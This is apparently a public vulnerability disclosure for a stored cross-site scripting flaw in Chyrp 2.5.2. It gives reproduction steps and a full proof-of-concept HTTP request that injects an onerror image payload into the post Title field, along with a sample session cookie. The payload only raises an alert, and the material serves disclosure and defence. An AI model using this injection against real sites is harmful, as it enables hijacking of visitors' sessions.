Chyrp 2.5.2 - Stored XSS Vulnerability

# Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/chyrp/
# Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip
# Version: 2.5.2
# Tested on: MacOS

### Steps to Reproduce ###

- Login from the address: http://localhost/chyrp/?action=login.
- Click on 'Write'.
- Type this payload into the 'Title' field: "><img src=x onerror=alert(
"Stored")>
- Fill in the 'Body' area and click 'Publish'.
- An alert message saying "Stored" will appear in front of you.

### PoC Request ###

POST /chyrp/admin/?action=add_post HTTP/1.1
Host: localhost
Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
show_more_options=true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
boundary=---------------------------28307567523233313132815561598
Content-Length: 1194
Origin: http://localhost
Referer: http://localhost/chyrp/admin/?action=write_post
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="title"

"><img src=x onerror=alert("Stored")>
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="body"

<p>1337</p>
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="status"

public
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="slug"


-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="created_at"

04/24/24 12:31:57
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="original_time"

04/24/24 12:31:57
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="trackbacks"


-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="feather"

text
-----------------------------28307567523233313132815561598
Content-Disposition: form-data; name="hash"

11e11aba15114f918ec1c2e6b8f8ddcf
-----------------------------28307567523233313132815561598--